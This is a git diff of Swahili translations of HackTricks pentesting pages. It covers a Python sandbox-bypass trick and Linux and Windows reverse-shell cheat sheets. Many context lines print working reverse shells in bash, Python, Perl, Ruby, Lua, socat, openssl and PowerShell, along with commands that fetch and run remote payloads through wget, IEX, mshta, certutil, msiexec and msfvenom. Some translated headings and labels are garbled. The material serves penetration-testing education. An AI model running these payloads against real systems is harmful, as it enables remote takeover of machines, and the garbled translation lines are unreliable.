mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") ``` {% hint style="info" %} -Kulingana na toleo la python **parameta** za `code_type` zinaweza kuwa na **mpangilio tofauti**. Njia bora ya kujua mpangilio wa parameta katika toleo la python unalotumia ni kwa kukimbia: +Kulingana na toleo la python **paramita** za `code_type` zinaweza kuwa na **mpangilio tofauti**. Njia bora ya kujua mpangilio wa paramita katika toleo la python unalotumia ni kwa kukimbia: ``` import types types.CodeType.__doc__ @@ -946,7 +960,7 @@ types.CodeType.__doc__ ### Kurekebisha kazi iliyovuja {% hint style="warning" %} -Katika mfano ufuatao, tutachukua data yote inayohitajika kurekebisha kazi kutoka kwa kificho cha kazi moja kwa moja. Katika **mfano halisi**, thamani zote za kutekeleza kazi **`code_type`** ndizo **utahitaji kuvuja**. +Katika mfano ufuatao, tutachukua data yote inayohitajika kurekebisha kazi kutoka kwa kificho cha kazi moja kwa moja. Katika **mfano halisi**, thamani zote za kutekeleza kazi ya **`code_type`** ndizo **utakazohitaji kufichua**. {% endhint %} ```python fc = get_flag.__code__ @@ -960,10 +974,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode") ``` ### Kupita Ulinzi -Katika mifano iliyopita mwanzoni mwa chapisho hili, unaweza kuona **jinsi ya kutekeleza nambari yoyote ya python kwa kutumia kazi ya `compile`**. Hii ni ya kuvutia kwa sababu unaweza **kutekeleza mizunguko yote** na kila kitu katika **mstari mmoja** (na tunaweza kufanya hivyo kutumia **`exec`**).\ -Kwa njia yoyote, mara nyingine inaweza kuwa na manufaa **kuunda** **kitu kilichokompiliwa** kwenye mashine ya ndani na kutekeleza kwenye **mashine ya CTF** (kwa mfano kwa sababu hatuna kazi ya `compiled` kwenye CTF). +Katika mifano iliyopita mwanzoni mwa chapisho hili, unaweza kuona **jinsi ya kutekeleza nambari yoyote ya python kwa kutumia kazi ya `compile`**. Hii ni ya kuvutia kwa sababu unaweza **kutekeleza skripti nzima** na mizunguko yote katika **mstari mmoja** (na tunaweza kufanya hivyo kutumia **`exec`**).\ +Hata hivyo, mara kwa mara inaweza kuwa na manufaa **kuunda** **kitu kilichopangwa** kwenye mashine ya ndani na kutekeleza kwenye **mashine ya CTF** (kwa mfano kwa sababu hatuna kazi ya `compiled` kwenye CTF). -Kwa mfano, hebu tuunde na kutekeleza kwa mikono kazi inayosoma _./poc.py_: +Kwa mfano, hebu tuunde na kutekeleza kwa mkono kazi ambayo inasoma _./poc.py_: ```python #Locally def read(): @@ -1000,7 +1014,7 @@ f(42) ``` ## Kudecompile Python Iliyokompiliwa -Kwa kutumia zana kama [**https://www.decompiler.com/**](https://www.decompiler.com) mtu anaweza **kudecompile** nambari ya python iliyokompiliwa. +Kwa kutumia zana kama [**https://www.decompiler.com/**](https://www.decompiler.com) mtu anaweza **kudecompile** nambari ya Python iliyokompiliwa. **Angalia mafunzo haya**: @@ -1008,12 +1022,12 @@ Kwa kutumia zana kama [**https://www.decompiler.com/**](https://www.decompiler.c [.pyc.md](../../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md) {% endcontent-ref %} -## Mambo Mengine ya Python +## Mambo Mbalimbali ya Python -### Kuthibitisha +### Kudai -Python inayotekelezwa na maboresho kwa paramu `-O` itaondoa taarifa za kuthibitisha na nambari yoyote inayotegemea thamani ya **debug**.\ -Hivyo, ukaguzi kama +Python inayotekelezwa na maboresho kwa parameta `-O` itaondoa taarifa za kudai na nambari yoyote inayotegemea thamani ya **debug**.\ +Kwa hivyo, ukaguzi kama ```python def check_permission(super_user): try: @@ -1031,18 +1045,22 @@ print(f"\nNot a Super User!!!\n") * [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html) * [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6) -*** +**Kikundi cha Usalama cha Kujitahidi** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %}
-Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! +Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! Njia nyingine za kusaidia HackTricks: -* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJISAJILI**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github. +* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
diff --git a/generic-methodologies-and-resources/shells/linux.md b/generic-methodologies-and-resources/shells/linux.md index e2008df51..079da4214 100644 --- a/generic-methodologies-and-resources/shells/linux.md +++ b/generic-methodologies-and-resources/shells/linux.md @@ -2,11 +2,11 @@
-Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! +Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: -* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** @@ -14,11 +14,19 @@ Njia nyingine za kusaidia HackTricks:
+**Kikundi cha Usalama cha Kujitahidi** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** + **Ikiwa una maswali kuhusu mabakuli haya unaweza kuyachunguza kwa** [**https://explainshell.com/**](https://explainshell.com) ## TTY Kamili -**Maradhi unapopata mabakuli ya kurudi**[ **soma ukurasa huu ili kupata TTY kamili**](full-ttys.md)**.** +**Maranyingi unapopata bakuli la kurudi**[ **soma ukurasa huu ili upate TTY kamili**](full-ttys.md)**.** ## Bash | sh ```bash @@ -47,10 +55,10 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc #### Maelezo ya Shell 1. **`bash -i`**: Sehemu hii ya amri inaanza shell ya Bash ya mwingiliano (`-i`). -2. **`>&`**: Sehemu hii ya amri ni maelezo ya haraka kwa **kupelekeza pato la kawaida** (`stdout`) na **makosa ya kawaida** (`stderr`) kwa **mahali sawa**. +2. **`>&`**: Sehemu hii ya amri ni maelezo ya mkato kwa **kupelekeza pato la kawaida** (`stdout`) na **makosa ya kawaida** (`stderr`) kwa **mahali sawa**. 3. **`/dev/tcp//`**: Hii ni faili maalum inayowakilisha **unganisho la TCP kwa anwani ya IP iliyotajwa na bandari**. -* Kwa **kupelekeza mafurushi ya pato na makosa kwenye faili hii**, amri inatuma kimsingi pato la kikao cha shell ya mwingiliano kwenye kompyuta ya mshambuliaji. -4. **`0>&1`**: Sehemu hii ya amri **inapelekeza kuingia kawaida (`stdin`) kwa marudio sawa na pato la kawaida (`stdout`)**. +* Kwa **kupelekeza matokeo na mizunguko ya makosa kwa faili hii**, amri inatuma kimsingi pato la kikao cha shell ya mwingiliano kwenye mashine ya mshambuliaji. +4. **`0>&1`**: Sehemu hii ya amri **inapelekeza kuingiza kawaida (`stdin`) kwa marudio sawa na pato la kawaida (`stdout`)**. ### Unda kwenye faili na tekeleza ```bash @@ -59,11 +67,11 @@ wget http:///shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s ``` ## Shell ya Mbele -Wakati unashughulika na udhaifu wa **Utekelezaji wa Kanuni Kwa Mbali (RCE)** ndani ya programu ya wavuti iliyojengwa kwenye Linux, kufanikisha shell ya nyuma kunaweza kuzuiliwa na ulinzi wa mtandao kama sheria za iptables au mifumo ya kufilta pakiti za kina. Katika mazingira hayo yaliyozuiwa, njia mbadala inahusisha kuanzisha PTY (Pseudo Terminal) shell ili kuingiliana na mfumo uliokumbwa kwa ufanisi zaidi. +Unaposhughulika na udhaifu wa **Utekelezaji wa Kanuni Kijijini (RCE)** ndani ya programu ya wavuti inayotumia Linux, kufanikisha kupata shell ya nyuma kunaweza kuzuiliwa na ulinzi wa mtandao kama sheria za iptables au mifumo ya kuchuja pakiti yenye utata. Katika mazingira hayo yaliyozuiwa, njia mbadala inahusisha kuanzisha shell ya PTY (Pseudo Terminal) ili kuingiliana na mfumo uliokumbwa na shida kwa ufanisi zaidi. -Zana iliyopendekezwa kwa kusudi hili ni [toboggan](https://github.com/n3rada/toboggan.git), ambayo inasaidia kuingiliana na mazingira lengwa. +Zana iliyopendekezwa kwa kusudi hili ni [toboggan](https://github.com/n3rada/toboggan.git), ambayo inasaidia kuingiliana kwa urahisi na mazingira ya lengo. -Kutumia toboggan kwa ufanisi, tengeneza moduli ya Python iliyobinafsishwa kwa muktadha wa RCE wa mfumo wako lengwa. Kwa mfano, moduli iliyoitwa `nix.py` inaweza kuwa na muundo ufuatao: +Kutumia toboggan kwa ufanisi, tengeneza moduli ya Python iliyobinafsishwa kwa muktadha wa RCE wa mfumo wako wa lengo. Kwa mfano, moduli iliyoitwa `nix.py` inaweza kuwa na muundo ufuatao: ```python3 import jwt import httpx @@ -91,10 +99,9 @@ Na kisha, unaweza kukimbia: ```shell toboggan -m nix.py -i ``` -Kutumia kabisa kabisa kabisa shell. Unaweza kuongeza `-b` kwa ushirikiano wa Burpsuite na ondoa `-i` kwa kifuniko cha rce cha msingi zaidi. +Kutumia kabisa ganda la kuingiliana moja kwa moja. Unaweza kuongeza `-b` kwa ushirikiano wa Burpsuite na kuondoa `-i` kwa ganda la rce la msingi zaidi. - -Njia nyingine inaweza kuwa kutumia utekelezaji wa shell wa `IppSec` mbele [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell). +Njia nyingine ni kutumia utekelezaji wa ganda la mbele la `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell). Unahitaji tu kurekebisha: @@ -102,7 +109,7 @@ Unahitaji tu kurekebisha: * Kiambishi na kielezo cha mzigo wako (ikiwa ipo) * Jinsi mzigo unavyotumwa (vichwa? data? habari ziada?) -Kisha, unaweza tu **tuma amri** au hata **tumia amri ya `upgrade`** kupata PTY kamili (kumbuka kuwa mabomba hufanywa kusoma na kuandikwa kwa kuchelewa kwa takriban 1.3s). +Kisha, unaweza tu **kutuma amri** au hata **kutumia amri ya `upgrade`** kupata PTY kamili (kumbuka kuwa mabomba hufanyiwa kusoma na kuandika kwa kuchelewa kwa takriban sekunde 1.3). ## Netcat ```bash @@ -140,8 +147,6 @@ Kutuma amri andika chini, bonyeza 'enter' na bonyeza CTRL+D (kusimamisha STDIN) export X=Connected; while true; do X=`eval $(whois -h -p "Output: $X")`; sleep 1; done ``` ## Python - -## Kipande cha Python ```bash #Linux export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' @@ -151,19 +156,23 @@ python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socke ``` ## Perl -Perl ni lugha ya programu ambayo inaweza kutumika kwa ufanisi kama shell ya kuingiliana. Inaweza kufanya kazi kama chombo cha kutekeleza amri za mfumo na pia kama lugha ya scripting. Perl inaweza kuwa chaguo nzuri kwa wapenzi wa lugha ya programu kwa sababu ya uwezo wake wa kushughulikia taratibu za mtandao na faili kwa urahisi. +Perl ni lugha ya programu ambayo inaweza kutumika kwa ufanisi kwa kujenga shellcode. Inatoa zana nyingi za kushughulikia strings na data, na inaweza kuwa chaguo nzuri kwa kuandika shellcode inayoweza kubadilika. ```bash perl -e 'use Socket;$i="";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` ## Ruby -## Kijalidi +### Ruby + +Ruby ni lugha ya programu ya kisasa inayotumika sana kwa maendeleo ya wavuti. Inajulikana kwa sintaksia yake rahisi na inayoeleweka, ambayo hufanya iwe chaguo bora kwa watumiaji wa ngazi zote za ujuzi. Ruby inaweza kutumika kwa urahisi kujenga zana za kiotomatiki na programu za mtandao. ```bash ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` ## PHP + +PHP ni lugha ya programu inayotumika sana kwa maendeleo ya wavuti. Inaweza kutumika kwa kujenga programu za seva zinazoweza kutekeleza amri za mfumo wa uendeshaji. Kwa mfano, unaweza kutumia PHP kutekeleza amri za mfumo wa uendeshaji kama vile kufuta faili, kusoma faili, au hata kuanzisha mchakato mpya kwenye seva. ```php // Using 'exec' is the most common method, but assumes that the file descriptor will be 3. // Using this method may lead to instances where the connection reaches out to the listener and then closes. @@ -192,15 +201,13 @@ echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp"," ``` ## Lua -## Lua +## Kiswahili ```bash #Linux lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" #Windows & Linux lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` -## NodeJS - ## NodeJS ```javascript (function(){ @@ -252,7 +259,7 @@ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -node openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response ``` -Mnufaiki +Mnufaika ```bash #Linux openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect : @@ -270,13 +277,13 @@ victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint, attacker> socat FILE:`tty`,raw,echo=0 TCP::1337 ``` ### Reverse shell - -### Kitanzi cha Nyuma ```bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` ## Awk + +Awk ni lugha ya programu iliyoundwa haswa kwa ajili ya kuchambua na kuchakata maandishi. Inaweza kutumika kama sehemu ya mnyororo wa zana za kuchakata data kwenye mifumo ya Unix. Awk inaweza kusoma na kuchakata faili za maandishi kwa urahisi, na inaweza pia kutumiwa kama lugha ya skripti kwa kufanya kazi za kawaida za Unix. ```bash awk 'BEGIN {s = "/inet/tcp/0//"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null ``` @@ -288,7 +295,7 @@ while true; do nc -l 79; done ``` Kutuma amri andika chini, bonyeza 'enter' na bonyeza CTRL+D (kusimamisha STDIN) -**Mnajisi** +**Mnajimu** ```bash export X=Connected; while true; do X=`eval $(finger "$X"@ 2> /dev/null')`; sleep 1; done @@ -296,7 +303,7 @@ export X=Connected; while true; do X=`eval $(finger "$X"@ 2> /dev/null | gre ``` ## Gawk -Gawk ni chombo cha nguvu cha kutumia lugha ya programu ya Awk kwa kufanya uchambuzi wa maandishi. Inaweza kutumika kama kabu ya amri au kama sehemu ya script ya bash kwa uchambuzi wa data ya maandishi. +## Gawk ```bash #!/usr/bin/gawk -f @@ -348,9 +355,15 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new * [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) +**Kikundi cha Usalama cha Try Hard** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} +
-Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! +Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! Njia nyingine za kusaidia HackTricks: @@ -358,6 +371,6 @@ Njia nyingine za kusaidia HackTricks: * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github. +* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
diff --git a/generic-methodologies-and-resources/shells/windows.md b/generic-methodologies-and-resources/shells/windows.md index 2e1742f8b..917467cca 100644 --- a/generic-methodologies-and-resources/shells/windows.md +++ b/generic-methodologies-and-resources/shells/windows.md @@ -2,18 +2,26 @@
-Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! +Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: * Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) -* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
+**Kikundi cha Usalama cha Try Hard** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** + ## Lolbas Ukurasa [lolbas-project.github.io](https://lolbas-project.github.io/) ni kwa Windows kama [https://gtfobins.github.io/](https://gtfobins.github.io/) ni kwa linux.\ @@ -25,7 +33,7 @@ nc.exe -e cmd.exe ``` ## SBD -**[sbd](https://www.kali.org/tools/sbd/) ni mbadala wa Netcat ulioumovu na salama**. Inafanya kazi kwenye mifumo inayofanana na Unix na Win32. Ikiwa na sifa kama encryption imara, utekelezaji wa programu, bandari za chanzo zinazoweza kubadilishwa, na uunganisho endelevu, sbd hutoa suluhisho la kipekee kwa mawasiliano ya TCP/IP. Kwa watumiaji wa Windows, toleo la sbd.exe kutoka usambazaji wa Kali Linux linaweza kutumika kama mbadala thabiti wa Netcat. +**[sbd](https://www.kali.org/tools/sbd/) ni mbadala wa Netcat uliounganifu na salama**. Inafanya kazi kwenye mifumo inayofanana na Unix na Win32. Ikiwa na sifa kama encryption imara, utekelezaji wa programu, bandari za chanzo zinazoweza kubadilishwa, na uunganisho endelevu, sbd hutoa suluhisho la kipekee kwa mawasiliano ya TCP/IP. Kwa watumiaji wa Windows, toleo la sbd.exe kutoka usambazaji wa Kali Linux linaweza kutumika kama mbadala thabiti wa Netcat. ```bash # Victims machine sbd -l -p 4444 -e bash -v -n @@ -44,7 +52,7 @@ C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('1 ``` ## Perl -Perl ni lugha ya programu ambayo inaweza kutumika kwa ufanisi kujenga shellcode kwa mifumo ya Windows. +Perl ni lugha ya programu ambayo inaweza kutumika kwa ufanisi kwa kujenga shellcode kwa mifumo ya Windows. ```bash perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' @@ -58,7 +66,7 @@ ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.pope ``` ## Lua -### Swahili Translation +Lua ni lugha ya programu ya scripting inayotumika sana kwa madhumuni mbalimbali ikiwa ni pamoja na maendeleo ya michezo, automatisering ya taratibu, na zaidi. Lua inaweza kuingizwa kwenye programu zingine kama sehemu ya kusaidia kutoa utendaji wa ziada au kubadilika. Lua inajulikana kwa urahisi wake wa kujifunza na kutumia. ```bash lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` @@ -70,7 +78,7 @@ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -node openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response ``` -Mnajisi +Mnufaika ```bash #Linux openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect : @@ -79,6 +87,8 @@ openssl s_client -quiet -connect :|/bin/bash|openssl s_clien openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect : ``` ## Powershell + +Powershell ni lugha ya skripti iliyotengenezwa na Microsoft kwa ajili ya kufanya kazi na mifumo ya Windows. Inaweza kutumika kama zana ya ufuatiliaji na kudhibiti mifumo, pamoja na kutekeleza amri za mfumo. Powershell inaweza kutumika kwa ufanisi katika mazingira ya uchunguzi wa kimtandao na udukuzi. ```bash powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')" @@ -86,16 +96,16 @@ Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadStr echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile ``` Mchakato unaoendesha wito wa mtandao: **powershell.exe**\ -Mzigo ulioandikwa kwenye diski: **HAPANA** (_angalau mahali nilipoweza kupata kwa kutumia procmon!_) +Mzigo ulioandikwa kwenye diski: **HAPANA** (_angalau mahali ambapo sikuweza kupata kwa kutumia procmon!_) ```bash powershell -exec bypass -f \\webdavserver\folder\payload.ps1 ``` -Mchakato unaoendesha wito wa mtandao: **svchost.exe**\ -Payload iliyoandikwa kwenye diski: **Hifadhi ya ndani ya mteja wa WebDAV** +**Mchakato unafanya wito wa mtandao: svchost.exe**\ +**Malipo yaliyoandikwa kwenye diski: WebDAV mteja wa akiba ya ndani** ```bash $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() ``` -**Pata habari zaidi kuhusu Mabakuli tofauti ya Powershell mwishoni mwa hati hii** +**Pata habari zaidi kuhusu Mabakuli ya Powershell tofauti mwishoni mwa hati hii** ## Mshta @@ -111,11 +121,11 @@ mshta http://webserver/payload.hta ```bash mshta \\webdavserver\folder\payload.hta ``` -#### **Mfano wa kabibi ya nyuma ya hta-psh (tumia hta kupakua na kutekeleza mlango wa nyuma wa PS)** +#### **Mfano wa ganda la nyuma la hta-psh (tumia hta kupakua na kutekeleza mlango wa nyuma wa PS)** ```xml ``` -**Unaweza kupakua na kutekeleza kwa urahisi sana koadic zombie ukitumia stager hta** +**Unaweza kupakua na kutekeleza kwa urahisi sana zomu ya Koadic kwa kutumia stager hta** #### mfano wa hta @@ -153,6 +163,8 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); ``` #### **Mshta - Metasploit** + +Mshta ni zana ya Windows inayotumiwa kutekeleza HTML Applications (HTA). Mshta inaweza kutumika kama backdoor kwa kuanzisha shell ya amri kwenye mfumo uliolengwa. Metasploit inatoa moduli ya msfvenom kuzalisha payload ya Mshta kwa madhumuni ya kuingiza shell kwenye mfumo wa lengo. ```bash use exploit/windows/misc/hta_server msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109 @@ -264,7 +276,7 @@ Pakua B64dll, itafsiri na kuitekeleza. ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll ``` -Pakua B64exe, itafsiri na kuitekeleza. +Pakua B64exe, itafsiri na tekeleza. ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe ``` @@ -279,7 +291,7 @@ powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0 ```bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs ``` -**Imegunduliwa na msimamizi** +**Imegunduliwa na msaliti** ## PS-Bat ```bash @@ -295,7 +307,7 @@ impacket-smbserver -smb2support kali `pwd` ```bash \\10.8.0.3\kali\shell.bat ``` -**Kugunduliwa na msimamizi** +**Kugunduliwa na mtetezi** ## **MSIExec** @@ -304,7 +316,7 @@ Mshambuliaji msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi python -m SimpleHTTPServer 80 ``` -Mfano: +Mnajisi: ``` victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi ``` @@ -339,7 +351,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml" ``` Unaweza kutumia mbinu hii kukiuka Orodha ya Maombi na vizuizi vya Powershell.exe. Kama utaulizwa na kifaa cha PS shell.\ -Pakua hii na itekeleze: 